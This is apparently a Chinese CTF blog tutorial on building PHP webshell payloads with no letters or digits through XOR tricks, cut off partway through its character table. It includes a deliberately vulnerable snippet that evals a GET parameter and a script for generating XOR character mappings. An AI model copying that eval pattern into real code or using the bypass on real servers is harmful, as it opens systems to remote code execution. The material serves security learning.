php 字符串异或 绕过,浅析CTF绕过字符数字构造shell

前言

在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。

无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。

本文涉及知识点实操练习-使用base64与deflate对webshell编码

测试源码<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {

eval($_GET['shell']);

}

//如果shell中不还有字母和数字,则可以执行eval语句

异或绕过

异或的符号是^,是一种运算符。1 ^ 1 = 0

1 ^ 0 = 1

0 ^ 1 = 1

0 ^ 0 = 0

异或脚本<?php

for($i=128;$i<255;$i++){

echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."n";

}

?>

运行该脚本我们知道%81^%FF=>~     %82^%FF=>}       %83^%FF=>|

%84^%FF=>{     %85^%FF=>z       %86^%FF=>y

%87^%FF=>x     %88^%FF=>w       %89^%FF=>v

%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s

%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p

%90^%FF=>o     %91^%FF=>n       %92^%FF=>m

%93^%FF=>l     %94^%FF=>k       %95^%FF=>j

%96^%FF=>i     %97^%FF=>h       %98^%FF=>g

%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d

%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a

%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^

%A2^%FF=>]     %A3^%FF=>       %A4^%FF=>[

%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X

%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U

%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R

%AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O

%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L

%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I

%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F

%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C

%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@

%

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值